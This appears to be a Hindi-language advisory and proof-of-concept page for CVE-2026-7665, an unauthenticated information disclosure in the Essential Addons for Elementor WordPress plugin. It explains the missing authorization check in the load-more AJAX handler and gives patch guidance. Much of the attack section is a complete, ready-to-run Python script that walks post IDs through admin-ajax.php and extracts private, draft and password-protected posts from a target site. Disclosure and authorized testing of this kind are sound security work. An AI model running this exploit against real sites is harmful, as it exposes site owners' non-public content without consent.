
CVE-2026-7665 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Essential Addons for Elementor में एक अनप्रमाणित सूचना प्रकटीकरण है, जो WordPress के निजी, ड्राफ्ट और पासवर्ड-संरक्षित पोस्ट निकालने की अनुमति देता है।
| फ़ील्ड | विवरण |
|---|
| CVE आईडी | CVE-2026-7665 |
| गंभीरता | मध्यम |
| CVSS स्कोर | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| प्रभावित प्लगइन | Essential Addons for Elementor |
| प्रभावित संस्करण | ≤ 6.6.4 |
| सक्रिय इंस्टॉल | 1,000,000+ |
| CVE आवंटनकर्ता | Wordfence (CNA) |
| खुलासा | जून 2026 |
| शोधकर्ता | Anirudh Makkar |
Essential Addons for Elementor में ajax_load_more AJAX हैंडलर पोस्ट सामग्री लौटाने से पहले पोस्ट दृश्यता लागू नहीं करता था। इससे बिना प्रमाणीकरण वाले हमलावर एक विशेष रूप से निर्मित wp-admin/admin-ajax.php अनुरोध भेजकर निजी, पासवर्ड-सुरक्षित और ड्राफ्ट WordPress पोस्ट पढ़ सकते थे — न तो प्रमाणीकरण और न ही nonce आवश्यक था।
प्लगइन wp_ajax_nopriv_eael_post_grid_load_more एक्शन हुक पर एक हैंडलर पंजीकृत करता है, जिससे यह बिना प्रमाणीकरण वाले आगंतुकों के लिए सुलभ हो जाता है। जब यह हैंडलर "load more" पेजिनेशन सुविधा के लिए पोस्ट लाने हेतु WP_Query निष्पादित करता है, तो यह current_user_can('read_post', $post_id) को कॉल नहीं करता और न ही अनुरोध करने वाले उपयोगकर्ता की क्षमताओं के विरुद्ध get_post_status() की जाँच करता है।
WordPress कोर AJAX हैंडलर में पोस्ट-स्तरीय प्राधिकरण लागू करने के लिए प्लगइन्स पर निर्भर करता है — यह स्वचालित रूप से ऐसा नहीं करता। इस जाँच की अनुपस्थिति का अर्थ है कि हैंडलर पोस्ट दृश्यता सेटिंग्स की परवाह किए बिना पूर्ण पोस्ट सामग्री लौटाता है।
wp-admin/admin-ajax.php
→ do_action('wp_ajax_nopriv_eael_post_grid_load_more')
→ Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
→ WP_Query([
'post_status' => ['publish', 'private', 'draft'], // all statuses returned
...
])
→ [returns full post content without authorization check]
बिना प्रमाणीकरण वाला हमलावर निम्नलिखित पोस्ट सूचीबद्ध (enumerate) करके पढ़ सकता है:
इससे संवेदनशील व्यावसायिक सामग्री, जारी न की गई घोषणाएँ, WordPress पोस्ट के रूप में प्रकाशित आंतरिक दस्तावेज़, या WordPress संपादक के माध्यम से प्रबंधित कोई भी अन्य गैर-सार्वजनिक सामग्री उजागर हो सकती है।
#!/usr/bin/env python3
"""
CVE-2026-7665 — Unauthenticated Information Disclosure
Essential Addons for Elementor <= 6.6.4
Usage: python3 poc.py https://target.example.com [post_id]
Iterates post IDs to extract private/draft/password-protected content.
For educational and authorized testing purposes only.
"""
import requests
import sys
import json
def check_target(base_url):
"""Verify the plugin is present."""
resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
return resp.status_code != 404
def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
url = f"{base_url}/wp-admin/admin-ajax.php"
data = {
"action": "eael_post_grid_load_more",
"widget_id": widget_id,
"page_id": page_id,
"post_id": str(post_id),
"page": "2",
}
try:
resp = requests.post(url, data=data, timeout=10)
if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
return resp.text
except requests.RequestException:
pass
return None
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url> [start_id] [end_id]")
sys.exit(1)
target = sys.argv[1].rstrip("/")
start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
end_id = int(sys.argv[3]) if len(sys.argv) > 3 else 50
print(f"[*] Target: {target}")
print(f"[*] Probing post IDs {start_id}–{end_id}")
if not check_target(target):
print("[!] Plugin not detected — target may be patched or not running EAEL")
found = 0
for pid in range(start_id, end_id + 1):
result = fetch_private_post(target, pid)
if result:
found += 1
print(f"\n[+] Post ID {pid} — content exposed ({len(result)} bytes)")
print(result[:300])
print("..." if len(result) > 300 else "")
print(f"\n[*] Done. {found} post(s) with exposed content found.")
if __name__ == "__main__":
main()
Essential Addons for Elementor को संस्करण 6.6.5 या उसके बाद अपडेट करें।
फिक्स load-more हैंडलर के भीतर, क्वेरी परिणामों में किसी भी पोस्ट को शामिल करने से पहले एक current_user_can('read_post', $post_id) जाँच जोड़ता है।
Anirudh Makkar द्वारा रिपोर्ट किया गया · LinkedIn